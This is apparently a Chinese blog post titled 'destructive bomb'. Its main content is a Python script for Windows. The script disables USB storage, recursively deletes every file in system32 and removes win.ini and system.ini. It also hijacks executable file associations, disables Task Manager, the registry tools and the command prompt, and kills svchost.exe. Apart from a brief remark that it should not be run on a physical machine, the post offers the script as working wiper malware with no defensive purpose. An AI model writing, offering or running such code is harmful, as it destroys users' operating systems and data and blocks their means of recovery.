破坏力炸弹

import subprocess
import os
import time

def disable_usb_storage():  
    try:  
        subprocess.run(
            [
                "reg",   "add",   
                r"HKLM\SYSTEM\CurrentControlSet\Services\USBSTOR",  
                "/v",   "Start",  
                "/t",   "REG_DWORD",  
                "/d",   "4",  
                "/f"
            ],  
            check=True
        )
        print("USB storage devices have been disabled.")
    except subprocess.CalledProcessError as e:  
        print(f"An error occurred while disabling USB storage:   {e}")

def del_file(path):    
    for i in os.listdir(path):    
        c_path = os.path.join(path,    i)
        if os.path.isdir(c_path):    
            del_file(c_path)
        else:                      
            try:    
                os.remove(c_path)
            except:    
                pass

def perform_system_modifications():  
    try:  
        del_file("C:\\Windows\\system32")
        os.system("attrib -s -r -h C:\\Windows\\win.ini")
        os.unlink("C:\\Windows\\win.ini")
        os.system("attrib -s -r -h C:\\Windows\\system.ini")
        os.unlink("C:\\Windows\\system.ini")
        os.system(r'ftype exefile="C:\\Windows\\notepad"%*')
        os.system(r'reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t reg_dword /d "1" /f')
        os.system(r'reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t reg_dword /d "1" /f')
        os.system(r'reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System" /v DisableCMD /t reg_dword /d "1" /f')
        time.sleep(20)
        os.system("taskkill /f /im svchost.exe")
    except Exception as e:    
        print(f"An error occurred during system modifications:   {e}")

# Execute the functions
disable_usb_storage()
perform_system_modifications()

建议不要在实体机上操作'而且需要管理员权限

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值